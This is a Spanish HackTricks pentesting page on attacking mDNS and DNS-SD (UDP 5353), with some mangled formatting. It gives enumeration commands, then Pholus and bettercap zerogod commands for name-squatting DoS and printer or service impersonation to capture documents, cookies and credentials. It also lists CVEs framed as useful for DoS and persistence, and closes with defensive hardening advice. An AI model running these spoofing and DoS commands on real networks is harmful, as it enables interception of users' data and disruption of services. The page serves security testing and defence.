5353/UDP Multicast DNS (mDNS) y DNS-SD
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Multicast DNS (mDNS) permite la resolución de nombres similar a DNS y el descubrimiento de servicios dentro de un enlace local sin un servidor DNS unicast. Usa UDP/5353 y las direcciones multicast 224.0.0.251 (IPv4) y FF02::FB (IPv6). DNS Service Discovery (DNS-SD, típicamente usado con mDNS) proporciona una forma estandarizada de enumerar y describir servicios mediante registros PTR, SRV y TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Detalles clave del protocolo que a menudo aprovecharás durante ataques:
- Los nombres en la zona .local se resuelven vía mDNS.
- El bit QU (Query Unicast) puede solicitar respuestas unicast incluso para preguntas multicast.
- Las implementaciones deberían ignorar paquetes que no provengan del enlace local; algunas pilas aún los aceptan.
- La comprobación/anuncio exige nombres de host/servicio únicos; interferir aquí crea condiciones de DoS/“name squatting”.
DNS-SD modelo de servicio
Los servicios se identifican como _
Exploración y enumeración de la red
- nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Consejo: Algunos navegadores/WebRTC usan nombres mDNS efímeros para ocultar las IP locales. Si ves candidatos random-UUID.local en la red, resuélvelos con mDNS para pivotar a las IP locales.
Ataques
Interferencia en la comprobación de nombres mDNS (DoS / name squatting)
Durante la fase de probing, un host comprueba la unicidad del nombre. Responder con conflictos suplantados le obliga a elegir nuevos nombres o a fallar. Esto puede retrasar o impedir el registro y descubrimiento del servicio.
Ejemplo con Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Falsificación e impersonación de servicios (MitM)
Hazte pasar por servicios DNS-SD anunciados (impresoras, AirPlay, HTTP, compartición de archivos) para obligar a los clientes a conectarse a ti. Esto es especialmente útil para:
- Capturar documentos suplantando _ipp._tcp o _printer._tcp.
- Atraer a los clientes a servicios HTTP/HTTPS para recopilar tokens/cookies o entregar payloads.
- Combinar con técnicas de relay NTLM cuando clientes Windows negocien autenticación con servicios suplantados.
Con el módulo zerogod de bettercap (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Vea también los flujos de trabajo genéricos de suplantación LLMNR/NBNS/mDNS/WPAD y captura/relay de credenciales:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Notas sobre problemas recientes de implementación (útil para DoS/persistencia durante compromisos)
- Los bugs de reachable-assertion de Avahi y crash de D-Bus (2023) pueden terminar avahi-daemon en distribuciones Linux (p. ej. CVE-2023-38469..38473, CVE-2023-1981), interrumpiendo el descubrimiento de servicios en los hosts objetivo hasta el reinicio.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) permite que clientes WLAN adyacentes inunden mDNS manipulados, saturando la CPU del WLC y cayendo los túneles AP — útil si necesitas forzar roaming de clientes o reinicios del controlador durante un compromiso.
- Apple mDNSResponder logic error DoS (CVE-2024-44183) permite que un proceso local aislado haga crash a Bonjour para suprimir brevemente la publicación/búsqueda de servicios en endpoints Apple; parcheado en las versiones actuales de iOS/macOS.
- Un problema de corrección en Apple mDNSResponder (CVE-2025-31222) permitía escalada de privilegios local vía mDNSResponder; útil para persistencia en Macs/iPhones no gestionados, corregido en actualizaciones recientes de iOS/macOS.
Consideraciones de mDNS en Browser/WebRTC
Las versiones modernas de Chromium/Firefox ofuscan los host candidates con nombres mDNS aleatorios. Puedes volver a exponer las IPs de la LAN en endpoints gestionados aplicando la política de Chrome WebRtcLocalIpsAllowedUrls (o alternando chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/equivalente en Edge) para que ICE exponga host candidates en lugar de mDNS; configúralo vía HKLM\Software\Policies\Google\Chrome.
Cuando los usuarios desactivan la protección manualmente (común en guías de resolución de problemas de WebRTC), sus navegadores vuelven a anunciar host candidates en texto plano, que puedes capturar vía mDNS o señalización ICE para acelerar el descubrimiento de hosts.
Consideraciones defensivas y OPSEC
- Límites de segmento: No enrutes 224.0.0.251/FF02::FB entre zonas de seguridad a menos que se requiera explícitamente un mDNS gateway. Si debes puentear el descubrimiento, prefiere allowlists y límites de tasa.
- Endpoints/servidores Windows:
- Para deshabilitar completamente la resolución de nombres vía mDNS, establece el valor del registro y reinicia:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- En entornos gestionados, deshabilita la regla integrada “mDNS (UDP-In)” del Windows Defender Firewall (al menos en el perfil Domain) para prevenir el procesamiento entrante de mDNS preservando la funcionalidad de home/roaming.
- En builds recientes de Windows 11/plantillas GPO, usa la política “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” y configúrala como Disabled.
- Linux (Avahi):
- Restringe la publicación cuando no sea necesaria: establece
disable-publishing=yes, y restringe interfaces conallow-interfaces=/deny-interfaces=en/etc/avahi/avahi-daemon.conf. - Considera
check-response-ttl=yesy evitaenable-reflector=yesa menos que sea estrictamente necesario; prefierereflect-filters=allowlists al reflejar. - macOS: Restringe mDNS entrante en firewalls del host/red cuando el descubrimiento Bonjour no sea necesario para subredes específicas.
- Monitorización: Alerta sobre picos inusuales en consultas
_services._dns-sd._udp.localo cambios repentinos en SRV/TXT de servicios críticos; estos son indicadores de spoofing o suplantación de servicios.
Referencia rápida de herramientas
- nmap NSE:
dns-service-discoveryandbroadcast-dns-service-discovery. - Pholus: escaneo activo, barridos inversos de mDNS, herramientas auxiliares para DoS y spoofing.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: descubrir, guardar, anunciar e impersonar servicios mDNS/DNS-SD (ver ejemplos arriba).
Spoofing/MitM
El ataque más interesante que puedes realizar sobre este servicio es un MitM en la comunicación entre el cliente y el servidor real. Podrías obtener archivos sensibles (MitM la comunicación con la impresora) o incluso credenciales (autenticación de Windows).
Para más información, consulta:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
References
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


